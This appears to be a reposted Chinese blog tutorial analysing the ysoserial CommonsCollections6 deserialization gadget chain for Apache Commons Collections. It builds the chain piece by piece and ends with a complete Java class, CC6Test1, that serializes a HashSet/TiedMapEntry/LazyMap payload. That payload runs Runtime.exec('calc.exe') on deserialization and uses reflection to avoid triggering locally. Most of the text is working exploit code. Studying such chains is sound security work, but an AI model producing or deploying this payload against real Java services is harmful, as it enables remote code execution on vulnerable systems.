软件编程
位置:首页>> 软件编程>> java编程>> java 安全 ysoserial CommonsCollections6 分析

java 安全 ysoserial CommonsCollections6 分析

作者:功夫小熊猫  发布时间:2021-06-04 01:58:14 

标签:java,ysoserial,CommonsCollections,安全

利用链如下

其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致。

/*
Gadget chain:
   java.io.ObjectInputStream.readObject()
           java.util.HashSet.readObject()
               java.util.HashMap.put()
               java.util.HashMap.hash()
                   org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                   org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                       org.apache.commons.collections.map.LazyMap.get()
                           org.apache.commons.collections.functors.ChainedTransformer.transform()
                           org.apache.commons.collections.functors.InvokerTransformer.transform()
                           java.lang.reflect.Method.invoke()
                               java.lang.Runtime.exec()
*/

1、InvokerTransformer.transform()

因为Runtime类不实现Serializable接口,所以使用Class类对象反射构造Runtime对象来实现exec方法。InvokerTransformer.transform()具备反射执行能力。

Class cr = Class.forName("java.lang.Runtime");
       Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(cr);
       Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod);
       new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

2、ChainedTransformer.transform()

使用ChainedTransformer构造方法,给iTransformers赋值,在transform中执行iTransformers所有元素的transform,transform传入的参数为前一个元素的对象。所以这个方法可以对步骤1中链执行。

public ChainedTransformer(Transformer[] transformers) {
   super();
   iTransformers = transformers;
}
public Object transform(Object object) {
   for (int i = 0; i < iTransformers.length; i++) {
       object = iTransformers[i].transform(object);
   }
   return object;
}

创建一个Transformer[],包含步骤1中所有对象。

Transformer[] transformers = {
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
               new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
               new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

由于步骤1中cr对象是Class对象,不实现Transformer接口。通过ConstantTransformer的transform方法得到一个实现Transformer的方法。

public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

所以最终得到的transformers是

public static void main(String[] args) throws Exception {
//        Class cr = Class.forName("java.lang.Runtime");
       ;
       Transformer[] transformers = {
               new ConstantTransformer(Class.forName("java.lang.Runtime")),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
               new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
               new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
       };
       new ChainedTransformer(transformers).transform(1);
   //calc.exe
   }

3、LazyMap.get()

LazyMap类的get方法实现了,对factory的transform。factory的decorate方法实现了对factory的赋值,Transformer类型

所以向decorate传入new ChainedTransformer(transformers),最终调用get来实现new ChainedTransformer(transformers)的transform。

public static Map decorate(Map map, Transformer factory) {
       return new LazyMap(map, factory);
}
public Object get(Object key) {
   // create value for key if key is not currently in the map
   if (map.containsKey(key) == false) {
       Object value = factory.transform(key);
       map.put(key, value);
       return value;
   }
   return map.get(key);
}

当然调用get方法的时候,如果key是不存在的才会执行factory.transform(key),所以最终的调用

Transformer transformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put(1,"hello");
Map lazyMap = LazyMap.decorate(map, transformer);
lazyMap.get(2);
//calc.exe

4、TiedMapEntry

根据利用链,下一步通过TiedMapEntry构造方法传入map和key,通过getValue实现对map参数的get操作,所以将lazyMap和一个不存在的key作为参数传入。

public TiedMapEntry(Map map, Object key) {
       super();
       this.map = map;
       this.key = key;
}
public Object getValue() {
       return map.get(key);
}

利用链

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.getValue();

再看TiedMapEntry的hashCode方法,实现了getValue()的调用。

public int hashCode() {
       Object value = getValue();
       return (getKey() == null ? 0 : getKey().hashCode()) ^
              (value == null ? 0 : value.hashCode());
}

利用链

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.hashcode();

5、HashMap

hashmap的hash实现了对参数key的hashcode方法,put方法实现了hash方法

static final int hash(Object key) {
       int h;
       return (key == null) ? 0 : (h = key.hashCode()) ^ (h &gt;&gt;&gt; 16);
}
public V put(K key, V value) {
       return putVal(hash(key), key, value, false, true);
}

利用链

Map hashmap = new HashMap();
hashmap.put(tiedMapEntry,1);
//calc.exe

6、HashSet

根据利用链看HashSet类的readobject(),由于map = new HashMap<>(),最终实现了在readobject中调用了hashmap.put方法。

private void readObject(java.io.ObjectInputStream s)
       throws java.io.IOException, ClassNotFoundException {
       ...
       // Read in all elements in the proper order.
       for (int i=0; i&lt;size; i++) {
           @SuppressWarnings("unchecked")
               E e = (E) s.readObject();
           map.put(e, PRESENT);
       }
   }

利用链

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
objectOutputStream.writeObject(hashSet);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
objectInputStream.readObject();

由于在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中实际执行的lazyMap.get(2)。

public Object getValue() {
       return map.get(key);
}

lazyMap.get(2)该执行过程中,如果lazyMap不存在key,会对lazyMap储值。

public Object get(Object key) {
       // create value for key if key is not currently in the map
       if (map.containsKey(key) == false) {
           Object value = factory.transform(key);
           map.put(key, value);
           return value;
       }
       return map.get(key);
}

所以在做序列化的时候实际lazyMap中已经存在了key=2,反序列化的时候map.containsKey(key) == false不成立,在反序列化过程中无法成功执行Object value = factory.transform(key);

在序列化之前需要将该key移除

lazyMap.remove(2);

优化:

由于hashSet.add(tiedMapEntry);中,执行了map.put(tiedMapEntry),最终会在本地执行exec。

public boolean add(E e) {
       return map.put(e, PRESENT)==null;
}

在一开始可以对transformers赋空值,在序列化之前再对ChainedTransformer类产生的transformer的iTransformers通过反射做修改,将实际执行的exec执行链传入。

Transformer[] transformers = {};
Transformer[] transformerslist = {
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformerslist);

最终的利用链

public class CC6Test1 {
   public static void main(String[] args) throws Exception {
       Transformer[] transformers = {};
       Transformer[] transformerslist = {
               new ConstantTransformer(Class.forName("java.lang.Runtime")),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
               new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
               new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
       };
       Transformer transformer = new ChainedTransformer(transformers);
       Map map = new HashMap();
       map.put(1,"hello");
       Map lazyMap = LazyMap.decorate(map, transformer);
       TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
       HashSet hashSet = new HashSet();
       hashSet.add(tiedMapEntry);
       lazyMap.remove(2);
       Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
       field.setAccessible(true);
       field.set(transformer, transformerslist);
       ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
       objectOutputStream.writeObject(hashSet);
       ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
       objectInputStream.readObject();
   }
}

java 安全 ysoserial CommonsCollections6 分析

来源:https://www.cnblogs.com/vpandaxjl/p/16789593.html

0
投稿

猜你喜欢

手机版 软件编程 asp之家 www.aspxhome.com